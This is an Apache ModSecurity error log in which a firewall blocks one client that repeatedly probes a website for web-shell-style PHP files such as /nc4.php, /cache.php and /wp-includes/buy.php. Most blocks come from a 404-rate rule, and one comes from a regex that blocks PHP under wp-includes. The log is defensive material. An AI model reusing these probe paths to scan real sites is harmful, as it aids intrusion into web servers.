[Sun Nov 16 05:25:24.808005 2025] [:error] [pid 52469:tid 52488] [client 4.206.159.110:65299] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/ws.php"] [unique_id "aRjvxE6HaXpHeEZ98Z0GFAAAAAs"]
[Sun Nov 16 05:25:27.089904 2025] [:error] [pid 52470:tid 52512] [client 4.206.159.110:65395] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/ws.php"] [unique_id "aRjvx0g9mXF2ZFFtj1XJnQAAAEc"]
[Sun Nov 16 05:25:28.662196 2025] [:error] [pid 52563:tid 52583] [client 4.206.159.110:65312] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/ws.php"] [unique_id "aRjvyM-l3ey-hVJ5AuvwmAAAANE"]
[Sun Nov 16 05:25:30.333279 2025] [:error] [pid 52471:tid 52536] [client 4.206.159.110:63239] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/ws.php"] [unique_id "aRjvytmWsFzjR5CEgDWfsQAAAIQ"]
[Sun Nov 16 05:25:31.949383 2025] [:error] [pid 52563:tid 52586] [client 4.206.159.110:63301] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wteed.php"] [unique_id "aRjvy8-l3ey-hVJ5AuvwmgAAANQ"]
[Sun Nov 16 05:25:34.631595 2025] [:error] [pid 20556:tid 20570] [client 4.206.159.110:63319] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wteed.php"] [unique_id "aRjvzkkbyEckbWtBcCKOfwAAAQw"]
[Sun Nov 16 05:25:39.300813 2025] [:error] [pid 20556:tid 20569] [client 4.206.159.110:65389] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wteed.php"] [unique_id "aRjv00kbyEckbWtBcCKOgwAAAQs"]
[Sun Nov 16 05:25:40.947120 2025] [:error] [pid 52470:tid 52510] [client 4.206.159.110:65376] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wteed.php"] [unique_id "aRjv1Eg9mXF2ZFFtj1XJsgAAAEU"]
[Sun Nov 16 05:25:41.880009 2025] [:error] [pid 52470:tid 52525] [client 4.206.159.110:65397] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aRjv1Ug9mXF2ZFFtj1XJtAAAAFQ"]
[Sun Nov 16 05:25:43.656876 2025] [:error] [pid 52469:tid 52500] [client 4.206.159.110:63275] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aRjv106HaXpHeEZ98Z0GGwAAABc"]
[Sun Nov 16 05:26:04.196748 2025] [:error] [pid 52563:tid 52587] [client 4.206.159.110:63296] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aRjv7M-l3ey-hVJ5Auvw1gAAANU"]
[Sun Nov 16 05:26:12.756740 2025] [:error] [pid 52563:tid 52590] [client 4.206.159.110:63274] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aRjv9M-l3ey-hVJ5Auvw2QAAANg"]
[Sun Nov 16 05:26:14.908503 2025] [:error] [pid 52470:tid 52509] [client 4.206.159.110:65330] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aRjv9kg9mXF2ZFFtj1XJ3gAAAEQ"]
[Sun Nov 16 05:26:16.826075 2025] [:error] [pid 52563:tid 52572] [client 4.206.159.110:65298] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aRjv-M-l3ey-hVJ5Auvw3gAAAMY"]
[Sun Nov 16 05:26:18.691379 2025] [:error] [pid 20556:tid 20582] [client 4.206.159.110:65360] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/unzip.php"] [unique_id "aRjv-kkbyEckbWtBcCKOnQAAARg"]
[Sun Nov 16 05:26:20.143634 2025] [:error] [pid 20556:tid 20574] [client 4.206.159.110:65338] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/unzip.php"] [unique_id "aRjv_EkbyEckbWtBcCKOogAAARA"]
[Sun Nov 16 05:26:22.835993 2025] [:error] [pid 52563:tid 52590] [client 4.206.159.110:63309] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/unzip.php"] [unique_id "aRjv_s-l3ey-hVJ5Auvw5AAAANg"]
[Sun Nov 16 05:26:24.002726 2025] [:error] [pid 52469:tid 52494] [client 4.206.159.110:65378] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/unzip.php"] [unique_id "aRjwAE6HaXpHeEZ98Z0GQQAAABE"]
[Sun Nov 16 05:26:29.164920 2025] [:error] [pid 52469:tid 52487] [client 4.206.159.110:65305] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aRjwBU6HaXpHeEZ98Z0GSQAAAAo"]
[Sun Nov 16 05:26:31.093836 2025] [:error] [pid 52563:tid 52569] [client 4.206.159.110:65310] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aRjwB8-l3ey-hVJ5Auvw7wAAAMM"]
[Sun Nov 16 05:26:34.138807 2025] [:error] [pid 52470:tid 52525] [client 4.206.159.110:65323] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aRjwCkg9mXF2ZFFtj1XJ-gAAAFQ"]
[Sun Nov 16 05:26:36.259348 2025] [:error] [pid 52469:tid 52500] [client 4.206.159.110:65309] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cool.php"] [unique_id "aRjwDE6HaXpHeEZ98Z0GUwAAABc"]
[Sun Nov 16 05:26:55.802024 2025] [:error] [pid 52563:tid 52589] [client 4.206.159.110:65388] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aRjwH8-l3ey-hVJ5AuvxBgAAANc"]
[Sun Nov 16 05:26:58.375895 2025] [:error] [pid 20556:tid 20576] [client 4.206.159.110:65306] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aRjwIkkbyEckbWtBcCKOygAAARI"]
[Sun Nov 16 05:26:59.916558 2025] [:error] [pid 52471:tid 52554] [client 4.206.159.110:65292] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aRjwI9mWsFzjR5CEgDWf_AAAAJY"]
[Sun Nov 16 05:27:28.746282 2025] [:error] [pid 20556:tid 20566] [client 4.206.159.110:65390] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aRjwQEkbyEckbWtBcCKO6gAAAQg"]
[Sun Nov 16 05:27:33.995878 2025] [:error] [pid 52563:tid 52574] [client 4.206.159.110:65352] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aRjwRc-l3ey-hVJ5AuvxGgAAAMg"]
[Sun Nov 16 05:27:34.914633 2025] [:error] [pid 20556:tid 20579] [client 4.206.159.110:65285] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aRjwRkkbyEckbWtBcCKO8AAAARU"]
[Sun Nov 16 05:27:36.205020 2025] [:error] [pid 52471:tid 52554] [client 4.206.159.110:65333] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aRjwSNmWsFzjR5CEgDWgFgAAAJY"]
[Sun Nov 16 05:27:37.000572 2025] [:error] [pid 20556:tid 20571] [client 4.206.159.110:65396] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aRjwSEkbyEckbWtBcCKO9AAAAQ0"]
[Sun Nov 16 05:27:42.087527 2025] [:error] [pid 20556:tid 20579] [client 4.206.159.110:65364] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aRjwTkkbyEckbWtBcCKO-QAAARU"]
[Sun Nov 16 05:27:44.088627 2025] [:error] [pid 20556:tid 20561] [client 4.206.159.110:65308] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aRjwUEkbyEckbWtBcCKO_AAAAQM"]
[Sun Nov 16 05:27:45.498044 2025] [:error] [pid 52470:tid 52509] [client 4.206.159.110:63300] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aRjwUUg9mXF2ZFFtj1XKVQAAAEQ"]
[Sun Nov 16 05:27:47.097628 2025] [:error] [pid 52563:tid 52590] [client 4.206.159.110:63303] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRjwU8-l3ey-hVJ5AuvxJwAAANg"]
[Sun Nov 16 05:27:48.916454 2025] [:error] [pid 52471:tid 52539] [client 4.206.159.110:63237] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRjwVNmWsFzjR5CEgDWgIAAAAIc"]
[Sun Nov 16 05:27:50.728414 2025] [:error] [pid 52471:tid 52549] [client 4.206.159.110:61926] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRjwVtmWsFzjR5CEgDWgIQAAAJE"]
[Sun Nov 16 05:27:52.310666 2025] [:error] [pid 52563:tid 52567] [client 4.206.159.110:65307] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aRjwWM-l3ey-hVJ5AuvxMQAAAME"]
[Sun Nov 16 05:27:54.205671 2025] [:error] [pid 52471:tid 52538] [client 4.206.159.110:65400] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nxac.php"] [unique_id "aRjwWtmWsFzjR5CEgDWgJAAAAIY"]
[Sun Nov 16 05:27:55.789160 2025] [:error] [pid 52469:tid 52480] [client 4.206.159.110:65313] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nxac.php"] [unique_id "aRjwW06HaXpHeEZ98Z0GiQAAAAM"]
[Sun Nov 16 05:27:57.532037 2025] [:error] [pid 20556:tid 20574] [client 4.206.159.110:65383] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nxac.php"] [unique_id "aRjwXUkbyEckbWtBcCKPCgAAARA"]
[Sun Nov 16 05:28:02.141357 2025] [:error] [pid 52563:tid 52584] [client 4.206.159.110:65283] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nxac.php"] [unique_id "aRjwYs-l3ey-hVJ5AuvxNwAAANI"]
[Sun Nov 16 05:28:03.704660 2025] [:error] [pid 52471:tid 52550] [client 4.206.159.110:65336] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thh.php"] [unique_id "aRjwY9mWsFzjR5CEgDWgMAAAAJI"]
[Sun Nov 16 05:28:04.516943 2025] [:error] [pid 52563:tid 52577] [client 4.206.159.110:65342] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thh.php"] [unique_id "aRjwZM-l3ey-hVJ5AuvxOgAAAMs"]
[Sun Nov 16 05:28:10.737931 2025] [:error] [pid 20556:tid 20574] [client 4.206.159.110:63315] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thh.php"] [unique_id "aRjwakkbyEckbWtBcCKPFQAAARA"]
[Sun Nov 16 05:28:15.485995 2025] [:error] [pid 52563:tid 52587] [client 4.206.159.110:65334] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thh.php"] [unique_id "aRjwb8-l3ey-hVJ5AuvxRgAAANU"]
[Sun Nov 16 05:28:16.460243 2025] [:error] [pid 20556:tid 20570] [client 4.206.159.110:65377] [client 4.206.159.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/buy.php"] [unique_id "aRjwcEkbyEckbWtBcCKPGwAAAQw"]
[Sun Nov 16 05:28:24.092491 2025] [:error] [pid 52471:tid 52549] [client 4.206.159.110:65322] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/baxa1.phP8"] [unique_id "aRjweNmWsFzjR5CEgDWgRgAAAJE"]
[Sun Nov 16 05:28:25.793816 2025] [:error] [pid 52469:tid 52499] [client 4.206.159.110:65293] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/baxa1.phP8"] [unique_id "aRjweU6HaXpHeEZ98Z0GmgAAABY"]
[Sun Nov 16 05:28:44.913291 2025] [:error] [pid 52471:tid 52537] [client 4.206.159.110:65343] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bv3.php"] [unique_id "aRjwjNmWsFzjR5CEgDWgZwAAAIU"]
[Sun Nov 16 05:28:46.011317 2025] [:error] [pid 52563:tid 52584] [client 4.206.159.110:63354] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bv3.php"] [unique_id "aRjwjs-l3ey-hVJ5AuvxYQAAANI"]
[Sun Nov 16 05:28:46.963653 2025] [:error] [pid 20556:tid 20572] [client 4.206.159.110:63298] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bv3.php"] [unique_id "aRjwjkkbyEckbWtBcCKPOQAAAQ4"]
[Sun Nov 16 05:28:48.260337 2025] [:error] [pid 20556:tid 20565] [client 4.206.159.110:65379] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bv3.php"] [unique_id "aRjwkEkbyEckbWtBcCKPPAAAAQc"]
[Sun Nov 16 05:28:49.334070 2025] [:error] [pid 52469:tid 52494] [client 4.206.159.110:65315] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aRjwkU6HaXpHeEZ98Z0GrAAAABE"]
[Sun Nov 16 05:28:53.092068 2025] [:error] [pid 52469:tid 52479] [client 4.206.159.110:65405] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aRjwlU6HaXpHeEZ98Z0GsgAAAAI"]
[Sun Nov 16 05:29:08.377791 2025] [:error] [pid 52469:tid 52485] [client 4.206.159.110:63233] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aRjwpE6HaXpHeEZ98Z0GvAAAAAg"]
[Sun Nov 16 05:29:11.496614 2025] [:error] [pid 52563:tid 52581] [client 4.206.159.110:65341] [client 4.206.159.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/racs3.php"] [unique_id "aRjwp8-l3ey-hVJ5AuvxdgAAAM8"]
